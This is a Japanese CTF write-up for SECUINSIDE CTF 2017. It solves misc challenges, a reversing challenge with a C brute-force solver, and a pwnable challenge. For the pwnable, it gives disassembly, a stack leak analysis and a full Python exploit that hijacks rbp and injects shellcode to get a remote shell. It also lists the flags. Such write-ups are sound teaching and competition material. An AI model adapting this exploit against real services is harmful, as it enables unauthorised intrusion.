SECUINSIDE CTF 2017 Writeup
wwogtechで出てました。
389点取って54位。
Writeup
SANITY CHECK [MISC 30]
SECU[THIS_IS_FLAG]
CAT CARRIER [MISC 30]
何か問題が起きたらしい
SECU[____MEOW_____MEOW____]
OHCE [PWNABLE 133]
ELF 64-bit、静的リンク、NX有効
% file ohce ohce: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped % checksec -f ohce RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 ohce
echoで入力をそのまま出力し、echo(Reverse)で入力を反転させてから出力している。
% ./ohce ----------------- 1. echo 2. echo(Reverse) 3. Exit ----------------- > 1 hoge hoge ----------------- 1. echo 2. echo(Reverse) 3. Exit ----------------- > 2 hoge egoh ----------------- 1. echo 2. echo(Reverse) 3. Exit ----------------- > 3
echoではstrlenで得た文字列の長さだけ文字列を出力しており、echo(Reverse)ではstrlenで得た文字列の長さを元に文字列を反転し、出力している。
<echo>: 40014c: 55 push rbp 40014d: 48 89 e5 mov rbp,rsp 400150: e8 4e 00 00 00 call 0x4001a3 <read20> 400155: 48 89 c7 mov rdi,rax 400158: e8 10 01 00 00 call 0x40026d <strlen> 40015d: 48 89 c6 mov rsi,rax 400160: e8 2b 00 00 00 call 0x400190 <write> 400165: 48 89 ec mov rsp,rbp 400168: 5d pop rbp 400169: c3 ret <echo_reverse>: 40016a: 55 push rbp 40016b: 48 89 e5 mov rbp,rsp 40016e: 48 89 e7 mov rdi,rsp 400171: e8 2d 00 00 00 call 0x4001a3 <read20> 400176: 48 89 c7 mov rdi,rax 400179: e8 ef 00 00 00 call 0x40026d <strlen> 40017e: 48 89 c6 mov rsi,rax 400181: e8 fb 00 00 00 call 0x400281 <reverse> 400186: e8 05 00 00 00 call 0x400190 <write> 40018b: 48 89 ec mov rsp,rbp 40018e: 5d pop rbp 40018f: c3 ret ..... <reverse>: 400281: 55 push rbp 400282: 48 89 e5 mov rbp,rsp 400285: 48 89 f0 mov rax,rsi 400288: 49 89 f9 mov r9,rdi 40028b: 49 89 f8 mov r8,rdi 40028e: 49 01 c0 add r8,rax 400291: 49 ff c8 dec r8 400294: 48 d1 e8 shr rax,1 400297: 41 8a 19 mov bl,BYTE PTR [r9] 40029a: 41 8a 10 mov dl,BYTE PTR [r8] 40029d: 41 88 11 mov BYTE PTR [r9],dl 4002a0: 41 88 18 mov BYTE PTR [r8],bl 4002a3: 49 ff c1 inc r9 4002a6: 49 ff c8 dec r8 4002a9: 48 ff c8 dec rax 4002ac: 75 e9 jne 0x400297 4002ae: 5d pop rbp 4002af: c3 ret
メモリを見てみると入力した文字列の直後にrbpの値が格納されている。入力できる文字列の上限は0x20のため、rbpの値の直前まで文字列を詰めることができる。
0x7fffffffea80: 0x00000a4141414141 0x0000000000000000 0x7fffffffea90: 0x0000000000000000 0x0000000000000000 0x7fffffffeaa0: 0x00007fffffffeab0 0x000000000040015d
文字列を0x20文字入力したとき、strlenの返り値は0x26となり、echoではスタックのアドレスをリークでき、echo(Reverse)ではrbpを自由に設定することができる。rbpをうまく操作してシェルコードを実行させることで、シェルを奪える。(NX有効だけどなぜかシェルコードを実行できた。libc_startがなかったからだろうか)
#!/usr/bin/env python from pwnlib import * if __name__ == '__main__': if len(sys.argv) == 1: s = Local('./ohce') else: s = Remote('13.124.134.94', 8888) s.sendline("1") s.sendline("A" * 0x1f) s.recvuntil("A\n") stack_addr = u64(s.recv(6)) print "[*] stack is at", hex(stack_addr) s.sendline("1") payload = "" payload += "A" * 8 payload += p64(stack_addr - 0x40) payload += "A" * 0x40 s.sendline(payload) s.sendline("2") shellcode = get_shellcode("lin64") payload = "" payload += "\x90" * (0x39 - len(shellcode)) payload += shellcode payload += p64(stack_addr - 0x70)[:6] s.sendline(payload[::-1]) s.interact()
% ./exploit.py remote [*] stack is at 0x7ffd897cced0 [*] Switching to interactive mode ----------------- 1. echo 2. echo(Reverse) 3. Exit ----------------- > AAAAAAAA ・---------------- 1. echo 2. echo(Reverse) 3. Exit ----------------- > ls flag ohce $ cat flag SECU[the_true_world_and_1n_here_1s_the_dream]
TRIPLEROTATE [REVERSING 196]
encryptとprobというファイルが渡される。encryptはフラグをprobで暗号化したもの。
probを解析してみると、
まず9文字の入力を0x17,0x18,0x19bitに分割してひっくり返す。 例えば入力が"hogehogea"なら
a = 11001101111011000010110 b = 111011000010110101001101 c = 1000011010100110111001101
次に
を繰り返し実行し、それぞれの長さが201になるまで繰り返す。
が暗号文になる。
ということがわかった。
なのでbが決まればaかcのどちらかが一意に決まることがわかる。 上の図のようにbの値によってa,cを決めることができる。決まったa,cに対して上記の式を満たすかどうかを判定することで平文を見つけられる。
#include <cstdio> const int N = 201; int data[N], a[N], b[N], c[N]; int main(void) { FILE *fp = fopen("encrypt","r"); for (int i = 0; i < N; i++) { fscanf(fp,"%d",&data[i]); } for (int i = 0; i < 1<<0x18; i++) { if (i % 0x100 == 0) { printf("\r[*] b = 0x%x",i); fflush(stdout); } int x = i; for (int j = 0; j < 0x18; j++) { b[j] = x & 1; x >>= 1; } for (int j = 0; j < N-0x18; j++) { b[j+0x18] = b[j] ^ b[j+1] ^ b[j+3] ^ b[j+4]; } for (int j = 0; j < N; j++) { if (b[j]) { a[j] = data[j]; c[j] = -1; } else { c[j] = data[j]; a[j] = -1; } } bool ok = true; for (int j = 0; j < N-0x17; j++) { if ((a[j] | a[j+5] | a[j+0x17]) >= 0) { if (a[j] ^ a[j+5] != a[j+0x17]) { ok = false; break; } } else if ((a[j] | a[j+5]) >= 0) { a[j+0x17] = a[j] ^ a[j+5]; } else if ((a[j+5] | a[j+0x17]) >= 0) { a[j] = a[j+5] ^ a[j+0x17]; } else if ((a[j+0x17] | a[j]) >= 0) { a[j+5] = a[j+0x17] ^ a[j]; } } if (!ok) continue; for (int j = 0; j < N-0x19; j++) { if ((c[j] | c[j+3] | c[j+0x19]) >= 0) { if (c[j] ^ c[j+3] != c[j+0x19]) { ok = false; break; } } else if ((c[j] | c[j+3]) >= 0) { c[j+0x19] = c[j] ^ c[j+3]; } else if ((c[j+3] | c[j+0x19]) >= 0) { c[j] = c[j+3] ^ c[j+0x19]; } else if ((c[j+0x19] | c[j]) >= 0) { c[j+3] = c[j+0x19] ^ c[j]; } } if (!ok) continue; for (int k = 0; k < N; k++) { for (int j = 0; j < N-0x17; j++) { if ((a[j] | a[j+5]) >= 0) { a[j+0x17] = a[j] ^ a[j+5]; } else if ((a[j+5] | a[j+0x17]) >= 0) { a[j] = a[j+5] ^ a[j+0x17]; } else if ((a[j+0x17] | a[j]) >= 0) { a[j+5] = a[j+0x17] ^ a[j]; } } for (int j = 0; j < N-0x19; j++) { if ((c[j] | c[j+3]) >= 0) { c[j+0x19] = c[j] ^ c[j+3]; } else if ((c[j+3] | c[j+0x19]) >= 0) { c[j] = c[j+3] ^ c[j+0x19]; } else if ((c[j+0x19] | c[j]) >= 0) { c[j+3] = c[j+0x19] ^ c[j]; } } } printf("\r[*] b = 0x%x\n",i); for (int j = 0; j < N; j++) { printf("%d",a[j] >= 0 ? a[j] : 2); } puts(""); for (int j = 0; j < N; j++) { printf("%d",b[j] >= 0 ? b[j] : 2); } puts(""); for (int j = 0; j < N; j++) { printf("%d",c[j] >= 0 ? c[j] : 2); } puts(""); break; } return 0; }
% ./solve [*] b = 0x183b19 011001011111010100100101101101101010001100100110110001011000111111111100111010001110000011000011111010011111000101111101101011111011110110010000101100000001111100001101011001111111110101000011001100001 100110001101110000011000111000100100010101100000000100001011001010100001101111110110100011110100110011000111000111110111111100000000001011011000100100000011110000100100001100100110011100001110111000111 101000100101111011111010110110000101010010010110000011010111100000010011001100110101110001000101010101001101111100110111111110010001001101000100000110001100010010110010011011110111000010010000100010100
SECU[I_L0v3_zE]
感想
babyheapができなかったのでheapの勉強をしたくなった